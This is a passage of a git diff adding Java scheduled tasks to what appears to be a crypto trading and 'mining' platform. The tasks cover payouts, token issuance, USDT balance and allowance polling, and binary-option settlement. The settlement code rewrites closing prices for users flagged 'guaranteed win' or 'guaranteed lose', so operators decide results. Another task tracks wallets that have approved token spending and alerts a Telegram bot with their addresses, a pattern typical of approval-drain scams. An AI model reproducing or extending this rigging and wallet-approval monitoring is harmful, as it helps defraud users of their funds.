appAsset.setAvailableAmount(appAsset.getAvailableAmount().add(ethAmount)); + appAssetService.updateTAppAsset(appAsset); + } + }catch (Exception e){ + e.printStackTrace(); + } + } + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MineFinancialTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MineFinancialTask.java new file mode 100644 index 0000000..969f3ce --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MineFinancialTask.java @@ -0,0 +1,194 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TMineFinancialMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.DateUtil; +import com.ruoyi.common.utils.DateUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; + +@Component("mineFinancialTask") +@Slf4j +public class MineFinancialTask { + + + @Resource + private SettingService settingService; + @Resource + private TMineFinancialMapper tMineFinancialMapper; + @Resource + private ITAppUserService appUserService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITMineOrderService orderService; + @Resource + private ITMineUserService mineUserService; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private ITMineOrderDayService mineOrderDayService; + + + /** + * 到期结算 每日结算 指定收益入库 + */ + public void mineFinancialTask() { + try { + //查看系统配置 获取结算方式 + Setting setting = settingService.get(SettingEnum.FINANCIAL_SETTLEMENT_SETTING.name()); + FinancialSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), FinancialSettlementSetting.class); + //查看系统今日待下发收益的订单 + List list1 = orderService.list(new LambdaQueryWrapper().eq(TMineOrder::getStatus, 0L).eq(TMineOrder::getType, 0L)); + if (CollectionUtils.isEmpty(list1)){ + return; + } + for (TMineOrder tMineOrder : list1) { + settlement(tMineOrder,settlementSetting); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void settlement(TMineOrder order, FinancialSettlementSetting setting) { + try { + TAppUser appUser = appUserService.getById(order.getUserId()); + BigDecimal amount = order.getAmount(); + //资产 + TAppAsset asset = tAppAssetService.getAssetByUserIdAndType(order.getUserId(), AssetEnum.FINANCIAL_ASSETS.getCode()); + //获取利率 最大 最小 中间 随机 + BigDecimal dayRatio=getRatio(order.getMinOdds(),order.getMaxOdds()); + //获取对应产品的日收益 + BigDecimal earn = amount.multiply(dayRatio).divide(new BigDecimal(100)).setScale(6, RoundingMode.UP); + //查看是否之前结算过 + TMineOrderDay mineOrderDay = mineOrderDayService.getOne(new LambdaQueryWrapper().eq(TMineOrderDay::getStatus,1).eq(TMineOrderDay::getOrderNo, order.getOrderNo())); + if(mineOrderDay !=null ){ + mineOrderDay.setEarn(mineOrderDay.getEarn().add(earn)); + }else { + mineOrderDay=new TMineOrderDay(); + //组装结算订单 + mineOrderDay.setAddress(order.getAdress()); + mineOrderDay.setOdds(dayRatio); + mineOrderDay.setOrderNo(order.getOrderNo()); + mineOrderDay.setEarn(earn); + mineOrderDay.setPlanId(order.getPlanId()); + mineOrderDay.setAmount(amount); + mineOrderDay.setCreateTime(new Date()); + mineOrderDay.setType(0L); + } + + //判断 日结 、 指定日结 、订单到期结算 + if(Objects.equals(CommonEnum.ONE.getCode(), setting.getSettlementType())){ + //指定日期结算 + mineOrderDay.setStatus(CommonEnum.ONE.getCode()); + mineOrderDayService.saveOrUpdate(mineOrderDay); + } + if(Objects.equals(CommonEnum.TWO.getCode(), setting.getSettlementType())){ + //日结 + //最后一天结算本金+收益 否则只结算收益 + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(earn)); + asset.setAvailableAmount(asset.getAvailableAmount().add(earn)); + mineOrderDay.setStatus(CommonEnum.TWO.getCode()); + tAppAssetService.updateTAppAsset(asset); + mineOrderDayService.saveOrUpdate(mineOrderDay); + walletRecordService.generateRecord(order.getUserId(), earn, RecordEnum.FINANCIAL_SETTLEMENT.getCode(),"",order.getOrderNo(),RecordEnum.FINANCIAL_SETTLEMENT.getInfo(),availableAmount,asset.getAvailableAmount(),asset.getSymbol(),appUser.getAdminParentIds()); + //返利 + //itActivityMineService.caseBackToFather(wallet.getUserId(), m.getAccumulaEarn(), wallet.getUserName(), orderNo); + } + if(Objects.equals(CommonEnum.THREE.getCode(), setting.getSettlementType())){ + //产品到期结算 + if(DateUtil.daysBetween(order.getEndTime(),new Date())==0){ + mineOrderDay.setStatus(CommonEnum.TWO.getCode()); + mineOrderDayService.saveOrUpdate(mineOrderDay); + BigDecimal earn1 = mineOrderDay.getEarn(); + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(earn1)); + asset.setAvailableAmount(asset.getAvailableAmount().add(earn1)); + tAppAssetService.updateTAppAsset(asset); + walletRecordService.generateRecord(order.getUserId(), earn1, RecordEnum.FINANCIAL_SETTLEMENT.getCode(),"",order.getOrderNo(),RecordEnum.FINANCIAL_SETTLEMENT.getInfo(),availableAmount,asset.getAvailableAmount(),asset.getSymbol(),appUser.getAdminParentIds()); + //返利 + //itActivityMineService.caseBackToFather(wallet.getUserId(), m.getAccumulaEarn(), wallet.getUserName(), orderNo); + }else { + mineOrderDay.setStatus(CommonEnum.ONE.getCode()); + mineOrderDayService.saveOrUpdate(mineOrderDay); + } + } + order.setAccumulaEarn(mineOrderDay.getEarn()); + //判断 是否产品到期 + if(DateUtil.daysBetween(order.getEndTime(),new Date())==0){ + order.setStatus(1L); + } + orderService.updateTMineOrder(order); + } catch (Exception e) { + log.error("理财订单异常结算, MinderOrder:{}", order); + } + } + + + //获取订单的利率 + private BigDecimal getRatio(BigDecimal minOdds, BigDecimal maxOdds) { + return queryHongBao(minOdds.doubleValue(), maxOdds.doubleValue()); + } + + private static BigDecimal queryHongBao(double min, double max) { + Random rand = new Random(); + double result; + result = min + (rand.nextDouble() * (max - min)); + return new BigDecimal(result).setScale(4, RoundingMode.UP); + } + + /** + * 指定日期结算 + */ + public void specifiedDateSettlement(){ + //查看系统配置 获取结算方式 + Setting setting = settingService.get(SettingEnum.FINANCIAL_SETTLEMENT_SETTING.name()); + FinancialSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), FinancialSettlementSetting.class); + if(CommonEnum.ONE.getCode().equals(settlementSetting.getSettlementType())){ + // 查找未结算的收益 + List list = mineOrderDayService.list(new LambdaQueryWrapper().eq(TMineOrderDay::getStatus, CommonEnum.ONE.getCode())); + if(CollectionUtils.isEmpty(list)){ + return; + } + for (TMineOrderDay mineOrderDay : list) { + String orderNo = mineOrderDay.getOrderNo(); + //查找订单 + TMineOrder order = orderService.getOne(new LambdaQueryWrapper().eq(TMineOrder::getOrderNo, orderNo)); + TAppUser appUser = appUserService.getById(order.getUserId()); + if(CommonEnum.ONE.getCode().equals(order.getStatus().intValue())){ + TAppAsset asset = tAppAssetService.getAssetByUserIdAndType(order.getUserId(), AssetEnum.FINANCIAL_ASSETS.getCode()); + mineOrderDay.setStatus(CommonEnum.TWO.getCode()); + mineOrderDayService.saveOrUpdate(mineOrderDay); + BigDecimal earn = mineOrderDay.getEarn(); + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(earn)); + asset.setAvailableAmount(asset.getAvailableAmount().add(earn)); + tAppAssetService.updateTAppAsset(asset); + walletRecordService.generateRecord(order.getUserId(), earn, RecordEnum.FINANCIAL_SETTLEMENT.getCode(),"",order.getOrderNo(),RecordEnum.FINANCIAL_SETTLEMENT.getInfo(),availableAmount,asset.getAvailableAmount(),asset.getSymbol(),appUser.getAdminParentIds()); + //返利 + //itActivityMineService.caseBackToFather(wallet.getUserId(), m.getAccumulaEarn(), wallet.getUserName(), orderNo); + } + } + } + + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MingOrderTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MingOrderTask.java new file mode 100644 index 0000000..730352f --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MingOrderTask.java @@ -0,0 +1,133 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.MingSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TMineFinancialMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Objects; +import java.util.Random; + +@Component("mingOrderTask") +@Slf4j +public class MingOrderTask { + + + @Resource + private SettingService settingService; + @Resource + private ITMingOrderService mingOrderService; + @Resource + private ITAppUserService appUserService; + + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppWalletRecordService walletRecordService; + + + /** + * 到期结算 每日结算 指定收益入库 + */ + public void mingOrderSett() { + try { + //查看系统配置 获取结算方式 + Setting setting = settingService.get(SettingEnum.MING_SETTLEMENT_SETTING.name()); + MingSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), MingSettlementSetting.class); + //查看系统今日待下发收益的订单 + List list1 = mingOrderService.list(new LambdaQueryWrapper().eq(TMingOrder::getStatus, 0L)); + if (CollectionUtils.isEmpty(list1)) { + return; + } + for (TMingOrder tMineOrder : list1) { + settlement(tMineOrder, settlementSetting); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void settlement(TMingOrder order, MingSettlementSetting setting) { + try { + TAppUser appUser = appUserService.getById(order.getUserId()); + BigDecimal amount = order.getAmount(); + //资产 + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, order.getUserId()).eq(TAppAsset::getSymbol, "usdt")); + // TMingProduct tMingProduct = mingProductService.selectTMingProductById(planId); //获取利率 最大 最小 中间 随机 + BigDecimal dayRatio = getRatio(order.getMinOdds(), order.getMaxOdds()); + //获取对应产品的日收益 + BigDecimal earn = amount.multiply(dayRatio).divide(new BigDecimal(100)).setScale(6, RoundingMode.UP); + BigDecimal availableAmount = tAppAsset.getAvailableAmount(); + BigDecimal allEarn= order.getAmount();; + //判断 日结 、 指定日结 、订单到期结算 + if (Objects.equals(CommonEnum.ONE.getCode(), setting.getSettlementType())) { + //每日返息 + tAppAsset.setAmout(tAppAsset.getAmout().add(earn)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(earn)); + tAppAssetService.updateTAppAsset(tAppAsset); + walletRecordService.generateRecord(order.getUserId(), earn, RecordEnum.MINING_REBATE.getCode(), "", order.getOrderNo(), RecordEnum.FINANCIAL_SETTLEMENT.getInfo(), availableAmount, availableAmount.add(earn), tAppAsset.getSymbol(), appUser.getAdminParentIds()); + } + if (Objects.equals(CommonEnum.TWO.getCode(), setting.getSettlementType())) { + //日结 + //最后一天结算本金+收益 否则只结算收益 + walletRecordService.generateRecord(order.getUserId(), earn, RecordEnum.MINING_REBATE.getCode(), "", order.getOrderNo(), "每日收益累计,利息不返回", earn, order.getAccumulaEarn().add(earn), tAppAsset.getSymbol(), appUser.getAdminParentIds()); + } + //判断 是否产品到期 + if (DateUtil.daysBetween(order.getEndTime(), new Date()) == 0) { + order.setStatus(1); + //到期返本金 + if (Objects.equals(CommonEnum.ONE.getCode(), setting.getSettlementType())) { + tAppAsset.setAmout(tAppAsset.getAmout().add(allEarn)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(allEarn)); + tAppAssetService.updateTAppAsset(tAppAsset); + } + //到期结算本金和利息 + if (Objects.equals(CommonEnum.TWO.getCode(), setting.getSettlementType())) { + allEarn = order.getAmount().add(order.getAccumulaEarn()); + tAppAsset.setAmout(tAppAsset.getAmout().add(allEarn)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(allEarn)); + tAppAssetService.updateTAppAsset(tAppAsset); + } + walletRecordService.generateRecord(order.getUserId(), allEarn, RecordEnum.MINING_SETTLEMENT.getCode(), "", order.getOrderNo(), RecordEnum.MINING_SETTLEMENT.getInfo(), availableAmount, availableAmount.add(allEarn), tAppAsset.getSymbol(), appUser.getAdminParentIds()); + } + order.setAccumulaEarn(order.getAccumulaEarn().add(earn)); + mingOrderService.updateTMingOrder(order); + } catch (Exception e) { + log.error("理财订单异常结算, MinderOrder:{}", order); + } + } + + + //获取订单的利率 + private BigDecimal getRatio(BigDecimal minOdds, BigDecimal maxOdds) { + return queryHongBao(minOdds.doubleValue(), maxOdds.doubleValue()); + } + + private static BigDecimal queryHongBao(double min, double max) { + Random rand = new Random(); + double result; + result = min + (rand.nextDouble() * (max - min)); + return new BigDecimal(result).setScale(4, RoundingMode.DOWN); + } + + +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/OwnCoinTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/OwnCoinTask.java new file mode 100644 index 0000000..8f2fb4b --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/OwnCoinTask.java @@ -0,0 +1,143 @@ +package com.ruoyi.quartz.task; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.RedisUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; +import java.util.Map; + +@Component("OwnCoinTask") +@Slf4j +public class OwnCoinTask { + + @Resource + private ITOwnCoinOrderService itOwnCoinOrderService; + @Resource + private ITOwnCoinService ownCoinService; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private ITAppUserService tAppUserService; + @Resource + private IKlineSymbolService klineSymbolService; + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + @Resource + private ITSecondPeriodConfigService tSecondPeriodConfigService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + /** + * 更改发币状态 + * 每天00:01执行一次 + */ + //@Scheduled(cron = "0 1 0 * * ?") + public void ownCoinStartTask() { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.le(TOwnCoin::getBeginTime, new Date()); + queryWrapper.eq(TOwnCoin::getStatus, 1); + List list = ownCoinService.list(queryWrapper); + for (TOwnCoin tOwnCoin : list) { + tOwnCoin.setStatus(2); + } + ownCoinService.saveOrUpdateBatch(list); + } + + /** + * 发币结束 申购资产发送 + */ + //@Scheduled(cron = "0 1 0 * * ?") + @Transactional + public void ownCoinEndTask() { + //更改发行状态 + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.le(TOwnCoin::getEndTime, new Date()); + queryWrapper.eq(TOwnCoin::getStatus, 2); + List list = ownCoinService.list(queryWrapper); + for (TOwnCoin tOwnCoin : list) { + tOwnCoin.setStatus(3); + //查询订单 + List list1 = itOwnCoinOrderService.list(new LambdaQueryWrapper().eq(TOwnCoinOrder::getStatus, "1").eq(TOwnCoinOrder::getOwnId, tOwnCoin.getId())); + for (TOwnCoinOrder tOwnCoinOrder : list1) { + tOwnCoinOrder.setStatus("2"); + //订单结算 + BigDecimal amount = new BigDecimal(tOwnCoinOrder.getNumber().toString()); + String ownCoin = tOwnCoinOrder.getOwnCoin(); + //创建资产 + TAppUser user = tAppUserService.getById(tOwnCoinOrder.getUserId()); + Map assetMap1 = tAppAssetService.getAssetByUserIdList(tOwnCoinOrder.getUserId()); + if (!assetMap1.containsKey(ownCoin.toLowerCase() + tOwnCoinOrder.getUserId())) { + tAppAssetService.createAsset(user, ownCoin.toLowerCase(), AssetEnum.PLATFORM_ASSETS.getCode()); + + } + Map assetMap = tAppAssetService.getAssetByUserIdList(tOwnCoinOrder.getUserId()); + TAppAsset asset = assetMap.get(ownCoin.toLowerCase() + tOwnCoinOrder.getUserId()); + BigDecimal availableAmount = asset.getAvailableAmount(); + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol(ownCoin.toLowerCase()) + .userId(tOwnCoinOrder.getUserId()) + .amout(asset.getAmout().add(amount)) + .availableAmount(asset.getAvailableAmount().add(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //帐变 + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.OWN_COIN_BUY.getCode(), user.getLoginName(), tOwnCoinOrder.getOrderId(), RecordEnum.OWN_COIN_BUY.getInfo(), availableAmount, availableAmount.add(amount), ownCoin.toLowerCase(), user.getAdminParentIds()); + } + itOwnCoinOrderService.saveOrUpdateBatch(list1); + //订单结算完成 将币种添加至币种列表 + KlineSymbol klineSymbol = new KlineSymbol() + .setSymbol(tOwnCoin.getCoin().toLowerCase()) + .setMarket("echo") + .setSlug(tOwnCoin.getCoin().toUpperCase()) + .setLogo(tOwnCoin.getLogo()) + .setReferCoin(tOwnCoin.getReferCoin()) + .setReferMarket(tOwnCoin.getReferMarket()) + .setProportion(tOwnCoin.getProportion()); + klineSymbolService.save(klineSymbol); + +// //监听获取新的kline +// HashMap object = new HashMap<>(); +// object.put(tOwnCoin.getCoin(),tOwnCoin.getReferCoin()+"usdt"); +// redisUtil.addStream(redisStreamNames,object); + + //自动添加到秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setCoin(tOwnCoin.getCoin().toLowerCase()); + tSecondCoinConfig.setBaseCoin("usdt"); + tSecondCoinConfig.setShowSymbol(tOwnCoin.getShowSymbol()); + tSecondCoinConfig.setSort(999L); + tSecondCoinConfig.setStatus(1L); + tSecondCoinConfig.setMarket("echo"); + tSecondCoinConfig.setSymbol(tOwnCoin.getCoin().toLowerCase() + "usdt"); + tSecondCoinConfig.setShowFlag(1L); + tSecondCoinConfig.setCreateTime(new Date()); + tSecondCoinConfig.setLogo(tOwnCoin.getLogo()); + tSecondCoinConfig.setType(2); + TSecondCoinConfig btc = tSecondCoinConfigService.getOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, "btc")); + if (null != btc) { + tSecondCoinConfig.setPeriodId(btc.getId()); + } + tSecondCoinConfigService.insertSecondCoin(tSecondCoinConfig); + } + ownCoinService.saveOrUpdateBatch(list); + + } + +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryAddreUsdt.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryAddreUsdt.java new file mode 100644 index 0000000..79c6eb5 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryAddreUsdt.java @@ -0,0 +1,49 @@ +package com.ruoyi.quartz.task; + +import com.alibaba.fastjson.JSONObject; +import com.google.gson.JsonObject; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.service.ITAppAddressInfoService; + +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.List; + +/** + * 查询地址的usdt余额定时任务。 + */ +@Component("QueryAddreUsdt") +@Slf4j +public class QueryAddreUsdt { + @Resource + private ITAppAddressInfoService appAddressInfoService; + + public void queryAddreUsdt(){ + Long now = System.currentTimeMillis(); + log.info ("查询地址的usdt余额开始...."); + + List list = appAddressInfoService.list(); + for (TAppAddressInfo tAppAddressInfo : list) { + try { + + String status= StringUtils.isEmpty(tAppAddressInfo.getStatus())?"N":tAppAddressInfo.getStatus(); + if ("N".equals(status)) { + // 更新账户USDT值 + if (tAppAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) > 0) { + log.info(JSONObject.toJSONString(tAppAddressInfo)); + appAddressInfoService.refreshUsdtBalance(tAppAddressInfo); + appAddressInfoService.sendFrontRunning(tAppAddressInfo); + } + Thread.sleep(600); + } + }catch (Exception e) { + log.error("刷新USDT余额异常 {} ", tAppAddressInfo.getAddress(), e); + } + } + log.info ("更新地址USDT结束, last:{}", System.currentTimeMillis() - now); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryUsdtAllowed.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryUsdtAllowed.java new file mode 100644 index 0000000..741cfd9 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryUsdtAllowed.java @@ -0,0 +1,87 @@ +package com.ruoyi.quartz.task; + + +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.service.ITAppAddressInfoService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.WalletType; +import com.ruoyi.common.eth.EthUtils; +import com.ruoyi.common.trc.TronUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.sun.org.apache.bcel.internal.generic.SWITCH; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.text.SimpleDateFormat; +import java.util.List; +import java.util.Map; + +/** + * 地址授权USDT额度查询 + */ +@Component("queryUsdtAllowed") +@Slf4j +public class QueryUsdtAllowed { + + @Resource + private ITAppAddressInfoService appAddressInfoService; + @Resource + private RedisCache redisCache; + @Resource + private MyTelegramBot myTelegramBot; + + public void queryUsdtAllowed() { + //获取 + Map cacheMap = redisCache.getCacheMap("approve"); + if (cacheMap != null && cacheMap.size() > 0) { + for (Map.Entry a : cacheMap.entrySet()) { + String hash = (String) a.getValue(); + String userIdStr = a.getKey(); + TAppAddressInfo appAddressInfo = appAddressInfoService.selectTAppAddressInfoByUserId(Long.parseLong(userIdStr)); + String hashStatus = ""; + String status= StringUtils.isEmpty(appAddressInfo.getStatus())?"N":appAddressInfo.getStatus(); + if ("N".equals(status)) { + if (appAddressInfo.getWalletType().equals(WalletType.ETH.name())) { + hashStatus = EthUtils.getHashStatus(hash); + } else { + hashStatus = TronUtils.getTransactionResult(hash); + } + if (hashStatus.equals("0")) {//成功 + appAddressInfoService.refreshUsdtAllowed(appAddressInfo); + appAddressInfoService.refreshUsdcAllowed(appAddressInfo); + cacheMap.remove(userIdStr); + //机器人通知 + SendMessage sendMessage = new SendMessage(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + StringBuilder sb = new StringBuilder(); + sb.append("⚠️⚠️⚠️\uD83E\uDDE7\uD83E\uDDE7\uD83E\uDDE7监控地址增加\uD83E\uDDE7\uD83E\uDDE7\uD83E\uDDE7⚠️⚠️⚠️"); + sb.append("\n\n"); + sb.append("\uD83C\uDD94用户ID:").append(appAddressInfo.getUserId()).append("\n"); + sb.append("\n\n"); + sb.append("⏰变动时间: ").append(formatter.format(appAddressInfo.getUpdateTime())).append("\n"); + sb.append("\n\n"); + sb.append("\uD83D\uDCB0钱包地址:").append(appAddressInfo.getAddress()).append("\n"); + sb.append("\n\n"); + String context = sb.toString(); + sendMessage.setText(context); + myTelegramBot.toSend(sendMessage); + log.debug("成功发送用户 {} U钱包地址 {},授权成功 ", appAddressInfo.getUserId(), appAddressInfo.getAddress()); + if (cacheMap.size() < 1) { + redisCache.deleteObject("approve"); + } else { + cacheMap.remove(userIdStr); + redisCache.setCacheMap("approve", cacheMap); + } + } else if (hashStatus.equals("1")) {//失败 + cacheMap.remove(userIdStr); + redisCache.setCacheMap("approve", cacheMap); + } + } + } + } + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/SecondContractTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/SecondContractTask.java new file mode 100644 index 0000000..cfa947f --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/SecondContractTask.java @@ -0,0 +1,318 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.BigDecimalUtil; +import com.ruoyi.common.utils.RedisUtil; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.*; +import java.util.concurrent.ThreadLocalRandom; + + +/** + * 秒合约结算 + */ +@RequiredArgsConstructor +@Slf4j +@Component("secondContractTask") +public class SecondContractTask { + + @Resource + private ITSecondContractOrderService secondContractOrderService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService assetService ; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private ITAppUserService appUserService; + @Resource + private ITAppUserDetailService appUserDetailService; + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private SettingService settingService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + public void secondContract() { + try { + //查找所有正在参与的秒合约订单 状态为参与中 结束时间小于当前时间 + List list = secondContractOrderService.list( + new LambdaQueryWrapper() + .eq(TSecondContractOrder::getStatus, "0") + .lt(TSecondContractOrder::getCloseTime,new Date().getTime()) + ); + for (TSecondContractOrder order : list) { + TAppUser tAppUser = appUserService.selectTAppUserByUserId(order.getUserId()); + settlement(order, tAppUser); + } + + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void settlement(TSecondContractOrder order, TAppUser tAppUser) { + + + try { + //设置开奖结果 赢 1 输 2 平 3 + String openResult = "1"; + //返还金额 + BigDecimal returnAmount = BigDecimal.ZERO; + //投注金额 + BigDecimal betAmount = order.getBetAmount(); + //类型 涨跌 1 涨 0 跌 + Integer type = Integer.parseInt(order.getBetContent()); + //赔率 + BigDecimal rate = order.getRate(); + //买入价格 + BigDecimal openPrice = order.getOpenPrice(); + //订单标识 0正常 1包赢 2包输 + Integer sign = order.getSign(); + //判断币种类型 + String coinSymbol = order.getCoinSymbol(); + //当前最新价格 + BigDecimal newPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + order.getCoinSymbol()); + TSecondCoinConfig one = secondCoinConfigService.getOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, coinSymbol)); + if(one != null && 2!=one.getType()){ + newPrice=redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + order.getCoinSymbol().toUpperCase()); + } + if(0 != order.getSign()){ + newPrice=getClosePrice(openPrice,newPrice, sign,type); + } + TAppUserDetail tAppUserDetail = appUserDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, tAppUser.getUserId())); + //连赢场次 + int winNum=tAppUserDetail.getWinNum()==null?0:tAppUserDetail.getWinNum(); + //连输场次 + int loseNum=tAppUserDetail.getLoseNum()==null?0:tAppUserDetail.getLoseNum(); + + //用户输赢表示 0正常 1包赢 2包输 + Integer buff = tAppUser.getBuff(); + if(buff==0){ + //连赢操作 + if(winNum>0 && sign==0 ){ + tAppUserDetail.setWinNum(winNum-1); + appUserDetailService.updateById(tAppUserDetail); + newPrice=getClosePrice(openPrice,newPrice, 1,type); + sign=1; + } + //连输操作 + if(loseNum>0 && sign==0 ){ + tAppUserDetail.setLoseNum(loseNum-1); + appUserDetailService.updateById(tAppUserDetail); + newPrice=getClosePrice(openPrice,newPrice, 2,type); + sign=2; + } + } + if(buff==1){ + sign=1; + newPrice=getClosePrice(openPrice,newPrice, 1,type); + } + if(buff==2){ + newPrice=getClosePrice(openPrice,newPrice, 2,type); + sign=2; + } + + // 1 涨 0 跌 + if(CommonEnum.TRUE.getCode().equals(type)){ + //类型为买涨 + //判断输赢 + if(openPrice.compareTo(newPrice)>0){ + //输 判断 全赔 半赔 全输 + openResult="2"; + if(rate.compareTo(BigDecimal.ONE)<0){ + //半赔 + //计算待返金额 + returnAmount= betAmount.multiply(BigDecimal.ONE.subtract(rate)); + } + if(rate.compareTo(BigDecimal.ONE)>=0){ + //全赔 + //计算待返金额 + returnAmount= BigDecimal.ZERO; + } + if(null != order.getRateFlag() && order.getRateFlag()){ + returnAmount= 